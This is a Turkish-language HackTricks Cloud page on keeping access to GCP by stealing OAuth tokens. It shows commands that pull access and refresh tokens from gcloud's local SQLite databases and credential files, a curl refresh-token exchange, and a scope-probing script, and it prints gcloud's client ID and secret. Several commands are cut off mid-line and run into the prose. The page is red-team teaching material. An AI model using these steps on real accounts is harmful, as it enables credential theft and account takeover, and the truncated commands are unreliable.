GCP - Token Kalıcılığı
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Kimliği Doğrulanmış Kullanıcı Token’ları
Bir kullanıcının mevcut token’ını almak için şunu çalıştırabilirsiniz:
SQLite veritabanından access token'ı alın
```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='Bu sayfada bu token’ı gcloud kullanarak doğrudan nasıl kullanacağınızı inceleyin:
Yeni bir access token oluşturmak için ayrıntıları almak üzere şu komutu çalıştırın:
SQLite veritabanından refresh token alın
```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='Ayrıca refresh tokens şu dosyalarda bulunabilir: $HOME/.config/gcloud/application_default_credentials.json ve $HOME/.config/gcloud/legacy_credentials/*/adc.json.
Yeni bir refreshed access token elde etmek için refresh token, client ID ve client secret ile şu komutu çalıştırın:
refresh token kullanarak yeni access token alın
```bash curl -s --data client_id=Refresh tokens’in geçerliliği Admin > Security > Google Cloud session control üzerinden yönetilebilir; varsayılan olarak 16h olarak ayarlanmıştır ancak süresiz olarak ayarlanabilir:
.png)
Kimlik doğrulama akışı
gcloud auth login gibi bir komut kullanıldığında kimlik doğrulama akışı tarayıcıda bir pencere açar ve tüm kapsamları kabul ettikten sonra tarayıcı, aracın açtığı http porta aşağıdaki gibi bir istek gönderir:
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
Sonra, gcloud state ve code’u önceden sabitlenmiş bir client_id (32555940559.apps.googleusercontent.com) ve client_secret (ZmssLNjJy2998hD4CTg2ejr2) ile kullanarak final refresh token data’yı alacaktır.
Caution
localhost ile yapılan iletişimin HTTP üzerinden olduğunu unutmayın; bu yüzden veriyi yakalayarak refresh token elde etmek mümkün olabilir. Ancak bu veri yalnızca bir kez geçerlidir, bu yüzden bu işe yaramaz — refresh token’ı dosyadan okumak daha kolay olacaktır.
OAuth Kapsamları
Tüm Google kapsamlarını [https://developers.google.com/identity/protocols/oauth2/scopes] adresinde bulabilirsiniz veya şu komutu çalıştırarak alabilirsiniz:
Tüm Google OAuth kapsamlarını al
```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ```Bu script ile gcloud’un kimlik doğrulama için kullandığı uygulamanın destekleyebileceği kapsamları görmek mümkündür:
gcloud için desteklenen kapsamları test et
```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then echo "" echo $scope fi done ```Bunu çalıştırdıktan sonra bu uygulamanın şu scopes’ları desteklediği kontrol edildi:
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
Bu uygulamanın drive scope’unu desteklemesi ilginç; eğer bir saldırgan kullanıcıyı bu scope ile bir token üretmeye zorlayabilirse kullanıcı GCP’den Workspace’e yükseltme yapabilir.
Nasıl istismar edileceğini buradan inceleyin.
Servis Hesapları
Yetkilendirilmiş kullanıcılar ile olduğu gibi, bir servis hesabının özel anahtar dosyasını ele geçirirseniz genellikle istediğiniz süre boyunca ona erişebilirsiniz.
Ancak, bir servis hesabının OAuth token’ını çalarsanız bu daha da ilginç olabilir; çünkü bu tokenlar varsayılan olarak sadece bir saat geçerli olsa bile, eğer hedef özel api key’i silerse, OAuth token’ı süresi dolana kadar hâlâ geçerli kalır.
Metadata
GCP ortamında çalışan bir makinenin içinde olduğunuz sürece, o makineye bağlı servis hesabına metadata endpoint ile erişebileceğinizi açıkça söylemeye gerek yok (bu endpoint’te erişebildiğiniz OAuth token’larının genellikle scope’larla kısıtlı olduğunu unutmayın).
Düzeltmeler
Bu teknikler için bazı düzeltmeler şu adreste açıklanmıştır https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
Referanslar
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

